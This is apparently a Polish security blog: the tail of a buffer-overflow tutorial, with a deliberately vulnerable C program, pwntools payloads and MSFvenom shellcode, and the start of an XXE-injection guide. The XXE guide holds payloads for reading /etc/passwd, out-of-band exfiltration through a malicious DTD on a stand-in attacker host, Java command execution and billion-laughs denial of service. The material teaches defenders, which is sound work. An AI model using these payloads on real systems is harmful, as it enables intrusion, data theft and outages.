bss - przechowuje niezainicjowane zmienne statyczne i globalne,
heap (sterta) - zawiera dynamicznie tworzone zmienne. Zwykle, w miarę dodawania nowych danych, ich adresy rosną, jednak nie jest to regułą. W rzeczywistości zależy to od implementacji środowiska uruchomieniowego lub od zastosowania recyklingu pamięci,
stack (stos) - zawiera zmienne lokalne oraz dane związane z wywoływaniem funkcji. Wraz z dodawaniem nowych danych adresowane są malejąco,
kernel - obszar wykorzystywany przez jądro systemu operacyjnego i oddzielony od przestrzeni użytkownika.

Stos

Ponieważ większość ataków przepełnienia bufora występuje w stosie, przyjrzyjmy mu się z bliska. Mówiąc ogólnie, stos to struktura danych oparta na zasadzie LIFO (Last-In-First-Out), co oznacza, że dane, które umieściliśmy jako ostatnie, zostaną z niego zwolnione jako pierwsze. Pamięć na stosie jest alokowana liniowo, przechowując dane w jednej, uporządkowanej sekwencji. To właśnie między innymi dlatego stos jest wykorzystywany do zarządzania wywołaniami funkcji w programie.

Podczas uruchomienia programu wywoływana jest funkcja main. W miarę wywoływania nowych funkcji tworzone są ich ramki (stack frame), które trafiają na stos, a ich adresy są coraz niższe. W ramkach znajdują się m.in.:

zmienne lokalne - zmienne istniejące tylko podczas wykonywania funkcji i usuwane po jej zakończeniu,
Poprzedni EBP/RBP - przechowuje wartość rejestru EBP/RBP z poprzedniej ramki stosu,
adres powrotny - adres instrukcji, jaką należy wykonać po zakończeniu funkcji (zazwyczaj jest to powrót do funkcji wywołującej),
parametry przekazywane do funkcji.

Ważną kwestią związaną z atakami buffer overflow są rejestry procesora. Przyjrzymy się kilku rejestrom procesora w architekturze x86. W zależności od tego, czy system jest 64, czy 32-bitowy, rejestry będą się inaczej nazywać. W 64-bitowym systemie rejestry będą zaczynać się od litery R, natomiast te w systemach 32-bitowych będą na literę E. W naszym przypadku najważniejsze są:

EIP/RIP - rejestr przechowujący adres następnej wykonywanej instrukcji,
ESP/RSP - rejestr wskazuje wierzchołek stosu,
EBP/RBP - rejestr wskazujący na początek aktualnej ramki.

Stack based buffer overflow

Jeśli udało Ci się przebrnąć przez część teoretyczną, gratulacje! Po tym krótkim wstępie możemy wrócić do głównego bohatera tego artykułu, czyli buffer overflow.

Przykładowy scenariusz ataku wygląda następująco: mamy pewien program zawierający bufor, który przechowuje dane wpisane przez użytkownika. Program używa niezabezpieczonej funkcji scanf, aby pobrać dane i umieścić je w buforze. Funkcja scanf nie ma żadnych zabezpieczeń sprawdzających, czy doszło do przekroczenia bufora podczas wpisywania danych (poprzez ustawienie parametru %s odczyt znaków będzie trwał aż do napotkania znaku białego).

#include <stdio.h>

int foo()
{
 char buffer[10];

 printf("Enter data: ");
 scanf("%s", buffer);
 printf("Your data: %s", buffer);

 return 0;
}

void mal_fun()
{
 printf("\nExecution of a non-called function!\n");
}

int help_fun()
{
 asm("jmp *%esp");
}

int main()
{
 foo();
 return 0;
}

Podczas kompilacji należy ustawić odpowiednie opcje, aby wyłączyć poniższe zabezpieczenia:

Stack canary - podstawowe zabezpieczenie przed przepełnieniem bufora. Jest to dodatkowa wartość dodawana do stosu i zmieniana z każdym uruchomieniem programu. Przed powrotem z funkcji wartość jest sprawdzana i jeśli doszło do modyfikacji, program jest przerywany,
NX (No eXecute) lub DEP (Data Execution Prevention) - zabezpieczenie pozwala oznaczyć obszary pamięci jako przeznaczone tylko na dane, bez możliwość ich wykonania,
PIE (Position Independent Executables) - umożliwia randomizację adresów w pamięci przy każdym uruchomieniu programu.

Poniższy screen pokazuje, jak wygląda polecenie kompilacji kodu z flagami, umożliwiającymi wyłączenie zabezpieczeń. W ramach uproszczenia, kod został skompilowany w wersji 32-bitowej.

W realnym scenariuszu takie ustawienia pliku wykonywalnego raczej się nie zdarzają i trzeba je obchodzić na różne sposoby, na przykład przy użyciu ROP (Return Oriented Programming), Return-to-libc lub Stack Canary Leaking, ale celem zrozumienia podstaw możemy trochę uprościć nasz przykład.

W sytuacji, kiedy do bufora wprowadzimy więcej danych, niż jest przewidziane, istnieje ryzyko awarii programu, szczególnie jeśli te dane zastąpią ważne informacje. Jeżeli na przykład nadpiszemy adres powrotny danymi, których nie uda się zinterpretować jako nowy istniejący adres, w pamięci nastąpi awaria. Jeśli jednak dobrze podmienimy adres powrotny, możemy zmienić przebieg programu, ponieważ zamiast powrócić do funkcji nadrzędnej (w tym przypadku main), program wykona instrukcje we wskazanym przez nas miejscu.

Pierwszym problemem w naszym przykładzie jest to, że dokładne adresy bufora i adresu powrotnego nie są nam znane, ponieważ są dynamicznie przydzielane w zależności od dostępnego miejsca w pamięci. Dużym ułatwieniem jest jednak to, że za każdym razem oba adresy będą oddalone o tą samą liczbę bajtów względem siebie (offset). Dlatego, żeby zwiększyć uniwersalność naszego ataku, pierwszym etapem powinno być ustalenie offsetu, który posłuży do zbudowania payloadu. W tym celu możemy użyć gdb-pwndbg i polecenia cyclic, żeby wygenerować cykliczny wzór znaków.

W naszym przypadku offset wynosi 22 bajty, a to oznacza, że aby nadpisać adres powrotny, trzeba umieścić w buforze 22 znaki plus nowy adres, do którego chcemy się przenieść po zakończeniu funkcji.

Przykład 1: Zmiana przebiegu programu poprzez wywołanie niezamierzonej funkcji

W pierwszym przypadku naszym celem jest przepełnienie bufora w taki sposób, żeby zmienić przebieg wykonywania programu. Skupimy się na tym, żeby wywołać funkcję mal_fun(), która jak wynika z kodu podanego powyżej, nie jest wywoływana nigdzie w kodzie - ani w funkcji main, ani w foo. Żeby to zrobić, adres powrotny trzeba zastąpić adresem funkcji, a żeby uzyskać adres funkcji mal_fun, użyjemy jeszcze raz programu gdb-pwndbg.

Adres funkcji to 0x080491FC. Mając adres i offset, możemy stworzyć payload, używając krótkiego skryptu w pythonie:

from pwn import *
from pathlib import Path

padding = 22
fun_addr=0x080491fc

payload = flat
(
 b"A" * padding,
 fun_addr
)

Path("payload").write_bytes(payload)

Payload składa się z 22 znaków A (bo taki jest offset) i z adresu funkcji, do której chcemy przeskoczyć. Używam funkcji flat z biblioteki pwntools, która ułatwia pisanie exploitów. Funkcja łączy dane w jeden ciąg bajtów, a adres funkcji automatycznie podaje w formacie little endian (najmniej znaczący bajt umieszczony jest jako pierwszy, np. 0x080491fc to w little endian 0xfc910408).

Payload składa się ze znaków niedrukowalnych (non printable characters), więc przekazujemy je bezpośrednio z pliku. Jak widać na powyższym screenie, funkcja mal_fun została wykonana, co potwierdza pomyślne wykonanie ataku. Zmiana przebiegu programu jest bardzo niebezpieczna, ponieważ umożliwia atakującemu m.in. ominięcie zabezpieczeń (na przykład poprzez ominięcie logowania) lub wyciek danych. Błąd, który występuje po wykonaniu funkcji, związany jest z tym, że funkcja mal_fun nie została wywołana przez instrukcję call, więc nie ma ustawionego adresu powrotnego.

Przykład 2: Wykonanie własnego kodu

Drugi przypadek ataku ma na celu nadpisanie bufora tak, aby uruchomić własny shellcode, czyli prosty, niskopoziomowy kod programu w postaci kodu maszynowego, odpowiedzialny za wywołanie powłoki systemowej. Sam atak jest bardzo podobny do pierwszego. Jedynymi różnicami są inaczej skonstruowany payload i ustawienie adresu powrotnego tam, gdzie umieścimy własny kod. Celem będzie odczyt zawartości pliku secret.txt, do którego nie mamy uprawnień.

Shellcode bardzo często będzie dłuższy niż bufor. Dlatego możemy kod umieścić za adresem powrotnym. Nie wiadomo jednak, do jakiego adresu się później zwrócić. Żeby atak był bardziej uniwersalny, możemy zastosować wspomniany wcześniej ROP, a mówiąc bardziej szczegółowo, instrukcję JMP ESP. ROP (Return Oriented Programming) to sposób łączenia ze sobą małych fragmentów istniejącego kodu (tzw. gadżetów), żeby zbudować zestaw bardziej zaawansowanych instrukcji wykonujących złośliwy kod. Jeśli chodzi o JMP ESP, to jest to instrukcja, która przenosi nas do wierzchołka stosu, gdzie zapisujemy shellcode. Dodatkową zaletą jest to, że atak staje się bardziej uniwersalny (nie hardkodujemy adresu z payloadem). Funkcja help_fun została dodana w celu udostępnienia instrukcji jmp esp, żeby skupić się na wyjaśnieniu podstaw i żeby uprościć przykład. W normalnym scenariuszu jmp esp może być już wcześniej zawarta podczas wykonywania jakichś operacji w programie lub w bibliotece współdzielonej (DLL), z której program korzysta. Co, jeśli instrukcji nie będzie? Wtedy można poszukać JMP EBP i shellcode umieścić w buforze lub zastosować inne gadżety.

Użyjemy prostego narzędzia ropper, żeby przeanalizować nasz program i znaleźć adres instrukcji przenoszącej nas do ESP.

Następnym krokiem jest stworzenie shellcodu, którego użyjemy do ataku. Narzędzie MSFvenom oferuje szybkie i proste tworzenie payloadu. Określamy jaki rodzaj ataku chcemy przeprowadzić - w naszym przypadku jest to odczyt z pliku na systemie Linux - podajemy ścieżkę do pliku, ustalamy jakich znaków chcemy uniknąć w payloadzie oraz wybieramy format danych wyjściowych. Pewne znaki mogą spowodować problemy z działaniem shellcodu (tzw. bad characters). Są to m.in.:

00 - (null)
FF - nowy wiersz (\n)
0A - cofnięcie kursora do początku aktualnej linii tekstu bez przechodzenia do nowej linii (\r - carriage return)
0D - zaznacza, że strona tekstu została zakończona i należy przejść do nowej (\f)

Mają specjalne funkcje i przez to sprawiają, że shellcode przestaje działać. Należy ich unikać, dlatego użyjemy MSFvenom, żeby zakodował te znaki.

from pwn import *
from pathlib import Path

offset = 22
jmp_esp=0x08049234

buf = b""
buf += b"\xb8\xf1\x7b\xf2\x50\xd9\xe8\xd9\x74\x24\xf4\x5a"
buf += b"\x33\xc9\xb1\x15\x31\x42\x14\x83\xea\xfc\x03\x42"
buf += b"\x10\x13\x8e\x19\x66\x6b\x74\xde\x87\x8b\x2c\xef"
buf += b"\x4e\x46\x52\x86\x92\xe0\x50\x99\x14\x10\xde\x7e"
buf += b"\x9d\xe9\x5a\x80\x8e\x09\x9b\x4c\x2e\x80\x59\xf6"
buf += b"\x2b\x92\x5d\x07\x8f\x93\x5d\x07\xef\x5e\xdd\xbf"
buf += b"\xee\x60\xde\xbf\x4b\x60\xde\xbf\xab\xad\x5e\x57"
buf += b"\x6e\xd2\xa0\x57\x35\x43\x3c\xdd\xdb\xfe\xac\x69"
buf += b"\x57\x2f\x42\xf7\xf4\x5d\xc1\x83\xd4\xd5\x71\x18"
buf += b"\x29"

payload = flat
(
 asm('nop') * offset,
 jmp_esp,
 asm('nop') * 16,
 buf
)

Path('payload').write_bytes(payload)

Skrypt tworzący payload jest dość podobny do tego w poprzednim przykładzie. Składa się z 22 znaków NOP, adresu gdzie znajduje się instrukcja jmp esp, z 16 znaków NOP i shellcodu wygenerowanego przez MSFvenom. NOP (NO Operation) to instrukcja (w asemblerze jest reprezentowana przez wartość \x90), która jedyne co robi, to przenosi do następnej instrukcji. Jest często używana podczas tworzenia exploitów, ponieważ pozwala na większy margines błędu przy ustawianiu adresu powrotu i odporność na awarię programu.

Uruchomienie programu i przekazanie zawartości pliku z payloadem pozwoliło na odczyt pliku, do którego nie mamy uprawnień. W ten sposób możemy spowodować wiele szkód. Reverse shell, wykonanie programów, stworzenie stagerów, czy wykorzystanie meterpretera to tylko kilka z wielu zagrożeń, które oferuje wykonanie kodu poprzez przepełnienie bufora.

Ochrona przed przepełnieniem bufora

Dlaczego nadal dochodzi do ataków buffer overflow? Powodów jest kilka: istnienie starszych programów (legacy code), które używają starych, niezabezpieczonych funkcji (m.in. strcpy, gets, strcat, scanf), pomimo że istnieją nowsze, bezpieczniejsze alternatywy. Niestety, nawet te świeższe funkcje nie są całkowicie odporne na ataki. Problematyczna jest również złożoność nowych programów oraz dość zróżnicowane sposoby implementacji samego ataku.

Skoro już dowiedzieliśmy się, jak w uproszczeniu przebiegają takie ataki pora, żeby poznać mechanizmy, które przed nimi chronią. Podczas oceny ryzyka zawsze warto najpierw zadać sobie pytanie, czy nasz system jest narażony na tego typu ataki. Programy pisane przy użyciu języków niskopoziomowych, takich jak: C, C++, Assembly czy Fortran są najbardziej podatne ze względu na to, że pozwalają na bezpośrednią manipulację pamięcią i niewystarczającą kontrolę nad wprowadzanymi danymi. Programy pisane przy użyciu języków wysokopoziomowych, automatycznie zarządzających pamięcią (Python, Ruby lub Java) są mniej narażone, co nie znaczy, że są całkowicie odporne. Warto śledzić doniesienia branżowe i aktualizować podatne systemy, biblioteki. Podczas pisania kodu należy testować program, aby upewnić się, czy zbyt duże dane wejściowe są poprawnie obsługiwane.

Zastosowanie zabezpieczeń jak wcześniej wspomniane Stack Canary, NX czy PIE jest proste w implementacji i znacząco zwiększa odporność systemu. W ostatnich latach na popularności zyskuje koncepcja shadow stacks. Jest to mechanizm, który umieszcza adresy powrotne na specjalnym, osobnym stosie. Warto wspomnieć również o Relocation Read-Only (RELRO), które umożliwia ustawienie pewnych sekcji programu w pamięci tylko do odczytu. Ceną obu tych rozwiązań jest zmniejszona wydajność.

Podsumowanie

Podsumowując, ataki buffer overflow są niezwykle niebezpieczne, jednak podatność jest trudna do wykrycia i do wykorzystania ze względu na wymaganą wiedzę oraz wiele mechanizmów zabezpieczających. Warto wziąć je pod uwagę podczas projektowania, testowania i oceny ryzyka. Choć nie zdarzają się często, nadal stanowią duże zagrożenie i nie widać, żeby miało to ulec zmianie w najbliższym czasie.

Źródła

XXE injection

Mon, 02 Dec 2024 00:00:00 +0000

Najpewniej wielu z Was raz na jakiś czas odwiedza stronę OWASP celem zaspokojenia ciekawości lub wykorzystania wiedzy z niej zaczerpniętej w praktyce. Na przestrzeni czasu lista top 10 vulnerabilities zmieniała się, by umożliwić nam zapoznanie się z najczęstszymi zagrożeniami, z jakimi zmagają się aplikacje webowe. W trakcie ciągłej przebudowy kategoria, która w 2017 roku zajmowała zaszczytne 4 miejsce, stała się częścią A05:2021-Security Misconfiguration. Miejsce 5 to nadal relatywnie wysoko, a temat jest dość ciekawy z punktu widzenia pentestera, czy chociażby niedzielnego bug bounty huntera. Ponadto, zaawanstowane opcje filtrowania emerytowanych maszyn HTB, podatność XXE Injection pod różnymi postaciami występuje w 14 dostępnych na platformie maszynach. Mam więc nadzieję, że następne kilka minut lektury zaspokoi ciekawość i zaoszczędzi komuś trochę czasu w przyszłości.

Definicja XXE Injection

XXE Injection (XML eXternal Entity Injeciton) jest jedną z wielu podatności związanych ze źle skonfigurowanymi rozwiązaniami opartymi na XML-u, lecz prawdopodobnie najprostszą i najczęściej wśród nich spotykaną. Jak sama nazwa wskazuje, jej działanie oparte jest na wykorzystaniu rozwiązań zewnętrznych encji, w danych formatu XML, przesyłanych lub przechowywanych na serwerze. Skutkami ataków tego typu są między innymi: kradzieże poufnych danych, SSRF, odnajdywanie innych celów ataku w sieci lokalnej serwera, DoS z atakami typu Billion Laughts Attack czy w skrajnych przypadkach nawet RCE.

Najstarszą podatnością typu XXE zgłoszoną do rejestru CVE jest CVE-2002-1252. Wykryta została ona w oprogramowaniu PeopleTools i dotyczyła wersji 8.1X przed 8.19. To oprogramowanie było wykorzystywane w wielu produktach przejętej w roku 2005 firmy PeopleSoft. Podatność umożliwiała czytanie dowolnych plików z serwera za pośrednictwem zapytania typu POST. Podobnie najnowsza z perspektywy czasu tworzenia artykułu - CVE-2023-20174- wskazuje podatność zarówno SSRF jak i LFI dla sieciowego interfejsu zarządzania Cisco Identity Services Engine (ISE). Ta CVE jest niestety jedynie bugiem, gdyż w celu jej wykorzystania niezbędne są poświadczenia administratora, nie zmienia to jednak faktu jego wystąpienia, które teoretycznie nie powinno mieć miejsca.

CVE-2021-40722 ukazuje nam natomiast, że pomimo swojej rzadkości RCE za pomocą XXE wciąż jest realnym zagrożeniem dla wielu firm. Warto więc mieć chociaż świadomość, jak taki atak wygląda, i jak można się przed nim obronić.

Mogłoby się wydawać, że podatność ta jest bardzo łatwa do przewidzenia, zarówno przez twórców aplikacji, jak i osoby je testujące, lecz nie każdy programista w trakcie pisania kodu zdaje sobie sprawę z przykrych konsekwencji nieodpowiedniego wykorzystania niektórych funkcjonalności. Mam tutaj na myśli oczywiście parsery kodu XML, służące do zamiany danych w obiekt umożliwiający aplikacji i jej twórcy łatwiejsze operowanie na zbiorze informacji. Sama funkcjonalność encji zewnętrznych (external entities) w wielu kontrolowanych przypadkach jest bardzo pomocna, umożliwiając dla przykładu wczytanie stopki dokumentu z innego pliku na dysku. Niestety nieprawidłowe jej zabezpieczenie umożliwia atakującemu, jak w przypadku pierwszej CVE tego typu, zdobyć dowolny odpowiednio sformatowany plik wysyłany wraz z odpowiedzią serwera.

Szybki kurs XML-a

No dobrze. Wiemy już mniej więcej, czym jest XXE Injection, pora więc na niewielką garść teorii z dziedziny XML-a, która umożliwi nam zrozumienie prostej, lecz skutecznej zasady działania naszej podatności.

Zacznijmy więc od przykładowego pliku:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE inventory [
 <!ELEMENT inv (product, footer)>
 <!ELEMENT product (name, amount, price, id, manufacturer)>
 <!ELEMENT id (#PCDATA)>
 <!ELEMENT amount (#PCDATA)>
 <!ELEMENT price (#PCDATA)>
 <!ELEMENT manufacturer (#PCDATA)>
 <!ELEMENT footer (#PCDATA)>

 <!ATTLIST porduct discontinued CDATA "no">

 <!ENTITY name "The Great Emperor of All Blue">
 <!ENTITY footer SYSTEM "footer.xml">
]>
<inv>
 <product>
 <id>1</id>
 <name>DDoS</name>
 <amount>1h</amount>
 <price>450&#36;</price>
 <manufacturer>&name;</manufacturer>
 </product>

 <product>
 <id>2</id>
 <name>XXE Injection</name>
 <amount>1</amount>
 <price>200&#36;</price>
 <manufacturer>&name;</manufacturer>
 </product>

 <product discontinued="yes">
 <id>3</id>
 <name>MITM</name>
 <amount>24h</amount>
 <price>1100&#36;</price>
 <manufacturer>&name;</manufacturer>
 </product>

 <footer>&footer;</footer>
</inv>

Pierwszą linijką pliku nie musimy się przejmować, gdyż określamy w niej jedynie wersję XML-a, którego zamierzamy użyć oraz kodowanie znaków. Następna część wymaga od nas nieco więcej uwagi.

DTD (Document Type Declaration) jest headerem naszego dokumentu, lecz zamiast zawierać metadane dokumentu w postaci autora, opisu czy słów kluczowych, umożliwia nam zadeklarowanie struktury dokumentu. Znajdziemy w niej wszystko - od własnych tagów wraz z atrybutami, aż po trzy typy encji: wewnętrzną, zewnętrzną oraz parametryczną. DTD może być przechowywane zarówno w samym dokumencie, jak i poza nim, np. na serwerze lub nawet rozproszone na wiele plików, które później mogą być połączone encjami parametrycznymi.

DTD:

<!DOCTYPE nazwa [ ... ]>

Przykładowe definicje tagów:

<!ELEMENT nazwa typ_danych>

<!ELEMENT product (name, amount, price, id)>
<!ELEMENT id (#PCDATA)>

<!ELEMENT nazwa ANY>

Słowo kluczowe “ELEMENT” wskazuje, że definiujemy tag. Następnie podajemy jego nazwę, a na samym końcu typ akceptowanych danych. W powyższym przykładzie pole product może przyjmować tylko zawarte w klamrach tagi: name, amount, price oraz id. Element id natomiast, zamiast znaczników będzie przechowywał w sobie dane znakowe (CDATA), które dodatkwo przejdą przez nasz XML-owy parser po stronie serwera - (#PCDATA). To właśnie takich znaczników będziemy szukać najczęściej metodą eksperymentalną w celu osadzenia naszych gotowych do sparsowania encji. Ostatni przykład ukazuje znacznik, którego wartość może być dowolna.

Przejdźmy więc do kluczowych zagadnień - encji. Encje możemy przyrównać do zmiennych, które przechowują w sobie dane zdefiniowane w samym pliku lub na zewnątrz niego, w zależności od swojego typu i zamysłu autora. Nazwy tych zmiennych są rozwiązywane przez parsery, które podmieniają je na zadeklarowane wartości. Brzmi prosto i w zasadzie takie jest.

W standardzie XML-a istnieje 5 odgórnie zdefiniowanych encji wewnętrznych, które umożliwiają wykorzystanie znaków charakterystycznych dla składni technologii w dowolnym kontekście:

Znak reprezentowany	Nazwa encji
&	`&`
<	`<`
>	`>`
"	`"`
'	`'`

Podobnie sprawa wygląda dla HTML-a, co oznacza, że pewnie wielu z Was miało już z tym zagadnieniem do czynienia. Oczywiście różnica polega na tym, że HTML-owych encji jest zdecydowanie więcej.

<!-- internal entity -->
<!ENTITY name "The Great Emperor of All Blue">

<!-- external entity -->
<!ENTITY footer SYSTEM "footer.xml">

<!-- parametric entity -->
<!ENTITY % more_dtd SYSTEM "more_dtd.dtd">

Co do różnic między trzema typami encji, to wyróżniamy dwie zasadnicze:

po pierwsze wewnętrzne i zewnętrzne encje umieszczamy w strukturze dokumentu, a parametryczne lokujemy w samym DTD (odróżniamy je znakiem % zarówno w trakcie ich definiowania jak i użycia -> %more_dtd;);
po drugie encje parametryczne mogą mieć wartości zamieszczone bezpośrednio w strukturze dokumentu lub sczytane z innej lokalizacji, wewnętrzne tylko zawarte w pliku, a zewnętrzne jedynie zaimportowane z innej lokacji - np. pliku na dysku czy innego serwera.

Dane z dysku lub innego serwera, do którego testowana maszyna ma dostęp? To brzmi dość zachęcająco z perspektywy pentestu. Zobaczmy zatem, czy jest związana z tym jakaś podatność…

XXE Injection - trochę teorii

Poniżej przedstawię w teorii przykłady wykorzystania XXE Injection. Następnie przyjrzymy się wykorzystaniu niektórych z nich w praktyce. Na potrzeby prezentacji załóżmy, że dane w postaci XML wysyłamy zapytaniem HTTP do serwera np. księgarni internetowej celem sprawdzenia dostępności interesującej nas pozycji. Aplikacja zwraca nam wszystkie dane wraz z dodatkowym tagiem zawierającym odpowiedź o dostępności pozycji, oraz że zdefiniowany znacznik id jest typu PCDATA.

<question>
 <id></id>
 <storeCode></storeCode>
</question>

LFI via XXE Injection

Prawdopodobnie najpopularniejszym atakiem umożliwiającym pozyskanie z serwera plików, które pomogą nam w dalszej penetracji systemu, jest poniższy przykład. Wykorzystujemy w nim pojedynczą zewnętrzną encję &lfi; w celu załadowania do odpowiedzi zawartości pliku /etc/passwd, uwzględniając założenie, że serwer zwraca wszystkie wartości z zapytania.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY lfi SYSTEM "file:///etc/passwd">
]>
<question>
 <id>&lfi;</id>
 <storeCode>1</storeCode>
</question>

W niektórych implementacjach parserów XML napisanych w Javie istnieje możliwość wylistowania interesującego nas katalogu poprzez podanie właściwej ścieżki w definicji encji, np. dla katalogu głównego zapis wyglądałby w następujący sposób: file:///.

SSRF via XXE Injection

SSRF via XXE Injection polega na zmuszeniu naszego serwera do wysłania zapytania. Oczywiście nie jest to jedyna możliwość, gdyż w zależności od sytuacji za pomocą SSRF możemy na przykład zenumerować wewnętrzną sieć hosta, wyeksponować dane wrażliwe (np. odpytując inne usługi na localhoście), odczytać metadane z usług w chmurze (http://169.254.169.254), czy też w pełni narazić usługę wewnętrzną na RCE.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY ssrf SYSTEM "http://bad.server.xyz">
]>
<question>
 <id>&ssrf;</id>
 <storeCode>1</storeCode>
</question>

SSRF and LFI via XXE Injection

W przypadku braku możliwości zwrócenia wartości pożądanego pliku - sytuacja Out-Of-Band - wykorzystujemy połączenie SSRF oraz LFI celem wysłania informacji na nasz prywatny serwer.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY % lfi SYSTEM "file:///etc/passwd">
 <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
 <id>&get_file;</id>
 <storeCode>1</storeCode>
</question>

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % sender "<!ENTITY get_file SYSTEM 'http://hackerMENvps.xyz/?file=%lfi;'>">
%sender;

Niestety w przeprowadzonych przeze mnie testach nie okazało się to takie proste.

[Fri Oct 20 17:47:20.651369 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Invalid URI: http://192.168.0.10:4444/
?file=root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/
nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin
/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n [...] in /app/process.php
on line 5, referer: http://192.168.0.7:5000/
[Fri Oct 20 17:47:20.651884 2023] [:error] [pid 10] [client 192.168.0.10:55784]
PHP Warning: DOMDocument::loadXML(): Failure to process entity get_file in Entity,
line: 10 in /app/process.php on line 5, referer: http://192.168.0.7:5000/

Zawartość plików z reguły zawiera znaki niedozwolone z perspektywy URI, a taki właśnie format tutaj musimy wykorzystać. Skorzystamy więc do tego celu np. wraperów php, o których wspomnę później.

<!ENTITY % lfi SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">

Najprawdopodobniej część z Was postanowi zadać w tym miejscu intrygujące pytanie: dlaczego do przeprowadzenia tego ataku wykorzystujemy DTD znajdujące się na zewnętrznym serwerze, skoro całe zapytanie mogłoby wyglądać następująco?

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY % lfi SYSTEM "file:///etc/passwd">
 <!ENTITY get_file SYSTEM "http://hackerMENvps.xyz/?file=%lfi;">
]>
<question>
 <id>&get_file;</id>
 <storeCode>1</storeCode>
</question>

Twórcy standardu XML-a mając na uwadze bezpieczeństwo, uniemożliwili niestety zagnieżdżenie encji parametrycznej w definicjach innych encji, czyli pomiędzy cudzysłowami - dokumentacja. Zasada ta jednak działa jedynie w przypadku pojedynczego DTD, co oznacza, że jeżeli uda nam się naszego OOB rozłożyć na dwa pliki (tak ja w pierwszym przykładzie) parser nie powinien zgłosić nam żadnego błędu.

W przypadku Error-Based blind XXE Injection wykorzystujemy wyświetlaną przez aplikację webową informację o błędzie celem odfiltrowania pliku lub danych w nim zawartych. Oczywiście już sam komunikat o błędzie udostępnia nam trochę informacji. Poprzez odpowiednie zmodyfikowanie DTD na naszym serwerze możemy pozyskać interesujące nas dane.

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % get_error "<!ENTITY get_file SYSTEM 'file:///invalid_path_or_sth/%lfi;'>">
%get_error;

Lub w przypadku gdy nie mamy możliwości użycia znacznika PCDATA z następującej kombinacji dwóch DTD:

DTD - payload wysyłany z żądaniem:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
 %vicious;
]>

DTD na naszym serwerze - vicious.dtd:

<!ENTITY % lfi SYSTEM "file:///etc/passwd">
<!ENTITY % get_error "<!ENTITY &#x25; error SYSTEM 'file:///invalid_path_or_sth/%file;'>">

%get_error;
%error;

% - jest znakiem procenta (kodowanym w hex) informującym nas, że mamy do czynienia z encją parametryczną.

Jeśli nasza aplikacja dodatkowo przyjmuje i zwraca atrybuty (i ich wartości) możemy spróbować wyciągnąć pliki na poniższej zasadzie.

Zapytanie:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
 <!ENTITY % lfi SYSTEM "file:///etc/passwd">
 <!ENTITY % vicious SYSTEM "http://hackerMENvps.xyz/vicious.dtd">
%vicious;
]>
<question>
 <storeCode id="0&get_value;">1</storeCode>
</question>

DTD - vicious.dtd:

<!ENTITY % atrybut "<!ENTITY get_value SYSTEM '%lfi;'>">
%atrybut;

RCE via XXE Injection

Dochodzenie do RCE przy wykorzystaniu opisywanej podatności jest mocno związane z wykorzystaną na serwerze technologią i nie istnieje pojedynczy przepis od niej niezależny. Niżej w wydaniu praktycznym przestawiony zostanie RCE przy użyciu modułu “expect” PHP. W tym miejscu wylistujmy przykład wykorzystania Runtime().exec() w rozwiązaniach opartych na Javie.

<?xml version="1.0" encoding="UTF-8"?>
<java version="..." class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
 <void method="exec">
 <array class="java.lang.String" length="1">
 <void index="0">
 <string>/usr/bin/whoami</string>
 </void>
 </array>
 </void>
 </object>
</java>

Dodatkowo skoro jest to element <array> możemy przesyłać również przełączniki:

<java version="..." class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
 <void method="exec">
 <array class="java.lang.String" length="2">
 <void index="0">
 <string>/usr/bin/uname</string>
 </void>
 <void index="1">
 <string>-a</string>
 </void>
 </array>
 </void>
 </object>
</java>

Techniki Resource Exhaustion

Czasem może zależeć nam na osłabieniu mocy obliczeniowej serwera, lub nawet na wyłączeniu go z obiegu. Możemy w tym celu wykorzystać ataki takie jak “Billion laughts attack” czy “Quadratic Blowup”.

Billion laughts attack

Nazwa dość specyficzna, lecz przykład z Wikipedii w pełni wyjaśnia tę nazwę. Jak widzimy w poniżej zamieszczonym kodzie, atak ten polega na iteracyjnym rozwiązywaniu kolejnych encji w astronomicznych ilościach.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

